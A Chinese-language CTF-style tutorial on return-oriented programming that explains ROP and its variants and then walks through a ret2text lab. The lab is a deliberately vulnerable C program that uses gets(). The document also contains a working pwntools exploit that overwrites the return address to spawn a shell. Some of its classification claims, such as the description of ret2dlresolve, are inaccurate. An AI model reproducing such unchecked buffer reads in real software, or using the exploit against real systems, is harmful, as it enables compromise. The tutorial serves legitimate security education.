ROP
什么是ROP
ROP即返回导向编程是一种计算机安全利用技术,它允许攻击者在存在诸如可执行空间保护和代码签名等安全防御的情况下执行代码。
在这种技术中,攻击者通过控制调用栈来劫持程序控制流,并执行机器内存中已存在的精心选择的机器指令序列,称为“gadgets”。
每个gadgets通常以返回指令结束,并位于现有程序和/或共享库代码中的子程序内。
这些gadgets串联在一起,允许攻击者在使用阻止更简单攻击的防御的机器上执行任意操作。
ROP的原理
ROP的原理是利用程序内存中已存在的以返回指令结尾的指令序列(gadgets)来控制程序执行流程。攻击者通过缓冲区溢出或其他方式在栈上布置数据,覆盖返回地址为gadgets的地址,从而实现代码注入。ROP可以绕过NX保护,因为它不需要在栈上执行任何新的代码,只需要利用现有的代码。ROP需要精心选择和拼接gadgets,以实现所需的功能。
ROP的前置条件
- 需要程序存在缓冲区溢出漏洞。
- 需要在程序内存中找到合适的gadgets,即以返回指令结尾的指令序列,可以实现所需的功能。
- 需要能够在栈上布置数据,以控制gadgets的执行流程。
ROP的分类
ROP的分类有多种方式,其中一种是根据gadgets的来源和功能进行分类。例如,可以将ROP分为以下几类:
- 基本ROP:使用程序内存中已存在的gadgets,实现基本的功能,如控制寄存器、调用函数、执行系统调用等。
- 高级ROP:使用程序内存中不存在的gadgets,通过动态生成或修改代码,实现更复杂的功能,如解密、解压缩、加载库等。
- 混合ROP:使用程序内存中部分存在的gadgets,结合动态生成或修改代码,实现更灵活和多样的功能,如跳过安全检查、绕过防御机制等。
其中基本ROP的利用方式有:
- ret2shellcode:将返回地址覆盖为栈或BSS段中存放的shellcode的地址,从而执行shellcode。
- ret2text:将返回地址覆盖为程序.text段中已有的代码的地址,从而执行程序本身的代码。
- ret2libc:将返回地址覆盖为libc库中的函数或字符串的地址,从而执行libc库中的代码或调用系统函数。
- ret2plt:将返回地址覆盖为程序.PLT段中的函数入口的地址,从而执行程序导入的函数。
- ret2dlresolve:将返回地址覆盖为程序.GOT段中的函数入口的地址,从而执行程序导入的函数。
- ret2syscall:将返回地址覆盖为系统调用指令的地址,从而执行系统调用。
ret2text
ret2text的原理(来自ctfwiki)
ret2text的原理是控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
ret2text的前置条件
- 程序存在栈溢出漏洞,可以覆盖返回地址。
- 程序.text段中存在可以执行恶意命令的代码片段,或者可以利用ROP技术拼接多个代码片段。
- 程序没有开启地址随机化或者可以泄露地址信息,可以确定代码片段的地址。
可利用ret2text的特征
- 代码以返回指令结尾,如ret、pop ebp、leave等。
- 代码可以实现一些基本的功能,如控制寄存器、调用函数、执行系统调用等。
- 代码可以与其他代码片段拼接,形成ROP链,实现更复杂的功能。
ret2text的例题
题目描述(来源于Leticia’s Blog)
这个程序有两个子函数,分别是func和sys,其中func中gets函数存在栈溢出,而sys函数没有被调用。
#include <stdio.h>
int sys()
{
system("/bin/sh");
}
int func()
{
char a[10];
gets(a);
puts(a);
}
int main(){
func();
}
不加入canary机制和地址随机化问题。
所以在编译时加入-fno-stack-protector -no-pie来关闭这两个保护机制并保存调试信息方便gdb调试。
gcc -fno-stack-protector -no-pie -g -o ret2text64 ret2text.c
题目分析
使用checksec命令查看保护机制,发现没有开启canary和PIE。
整个ROP过程:
通过栈溢出覆盖func函数中的局部变量a,覆盖func函数的返回地址,并将返回地址处的值改为sys函数的地址,就可以获得shell。
需要得到的信息:
- func函数的返回地址
- 局部变量a的地址
- sys函数的地址
实操
查看代码
在gets函数前打断点并查看sys函数的地址
也可以通过IDA查看
得到sys函数的地址为0x401176。
调试程序
查看局部变量a的地址和rbp的地址
- rbp的地址:0x7fffffffe2e0
- 局部变量a的地址:0x7fffffffe2d6
计算func函数的返回地址
在64位程序中,函数调用时,返回地址是存放在栈中的,而且是在rbp的上一个位置,所以返回地址为0x7fffffffe2e8。(8个字节)
计算填充长度
填充长度为0x7fffffffe2e8-0x7fffffffe2d6=0x12。(18个字节)
构造payload
payload = b'a'*0x12 + p64(0x401176)
写出exp
from pwn import *
p = process('./ret2text64')
payload = b'a'*0x12 + p64(0x401176)
p.sendline(payload)
p.interactive()
得到shell
可能遇到的问题
Pwntools遇到
Got EOF while reading in interactive
使用system无法拿到shell,使用execve可以。
解决方法:
Ubuntu部分系统调用system的时候,rsp的最低字节必须为0x00(栈以16字节对齐),否则无法运行system指令。要解决这个问题,只要将返回地址设置为跳过函数开头的push rbp就可以了
于是可以将payload改为
payload = b'a'*0x12 + p64(0x40117b)